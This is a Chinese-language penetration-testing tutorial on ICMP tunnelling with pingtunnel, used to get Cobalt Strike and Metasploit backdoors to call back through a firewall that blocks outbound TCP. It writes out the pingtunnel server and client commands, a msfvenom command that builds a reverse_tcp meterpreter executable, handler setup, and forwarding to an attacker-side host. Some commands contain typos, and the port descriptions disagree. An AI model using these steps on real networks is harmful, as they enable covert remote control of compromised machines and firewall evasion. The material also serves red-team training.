一、ICMP隧道简介
1.1 背景知识
在内网渗透过程中,使用msf/cs实现被测试主机的上线的时候,如果有防火墙的话,会导致主机上线失败,那么这个时候,就需要借助于隧道相关技术了。
在使用隧道通信的时候,需要根据防火墙的限制条件来选择隧道类型
例如:上例中,禁用了tcp的出站,那么可以考虑用走udp、icmp、arp等协议,但是不能走http协议,因为http协议是基于tcp的
什么是隧道?
隧道是一种通过使用互联网络的基础设施在网络之间传递数据的方式
ICMP隧道是指将TCP连接通过ICMP包进行封装传送的一种方法
1.2 pingtunnel介绍
用icmp实现上线的项目
pingtunnel介绍
1、imcptunnel可以将IP流量封装进ICMP的ping数据包中,旨在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。
2、请求端的ping工具会在ICMP数据包后面附加上一段随机的数据作为payload,而响应端则会拷贝这段payload到ICMP响应数据包中返还给请求端,用于识别和匹配ping请求。
3、在使用pingtunnel进行内网穿透时,客户端会将IP帧封装在ICMP请求数据包汇总发送给服务端,而服务端则会使用相匹配的ICMP响应数据包进行回复。这样子在旁人看来,网络中传播的仅仅只是正常的ICMP数据包。
imcptunnel构成
imcptunnel启动的时候,可以分为客户端和服务端
启动服务端 【在linux启动】
./pingtunnel -type server
启动服务端【在widnows启动】
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
二、配置实现ICMP
2.1 CS实现上线
架构图
第一步:CS上创建两个监听器
第一个监听器是用于在被监控主机上监听自己的一个端口:用2222端口
第二个监听器是用于在攻击主机上,用于被攻击主机通信:用3333端口
第二步:生成后门
第三步:在服务器端启动pingtunnel,生成服务端
第四步:在被攻击主机上执行pingtunnel,生成客户端
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 172.16.100.222 -t 172.16.100.222:2222-tcp 1 -noprint 1 -nolog 1
这样被攻击主机就上线了
2.2 MSF实现上线
第一步:MSF生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe>/home/share/zx.exems
第二步:MSF启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2222
exploit
第三步:启动隧道
./pingtunnel -type server
第四步:在被攻击主机上启动隧道,将本地的3333端口转发到服务端的4444端口,命令如下
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 172.16.100.222 -t 172.16.100.222:2222 -tcp 1 -nopirnt 1 -nolog 1
msf生成的后门地址,必须是127.0.0.1,此时后门的端口是3333
但是,此时本地监听的端口是3333
这是因为,生成的后门是tcp协议的,这个数据包是发送不出去的
因此后门的地址是127.0.0.1,所以这个数据包是不会向外发送的
在执行pingtunnel.exe的时候,可以将本地 3333端口的数据,封装成icmp协议,然后发送到服务端的2222端口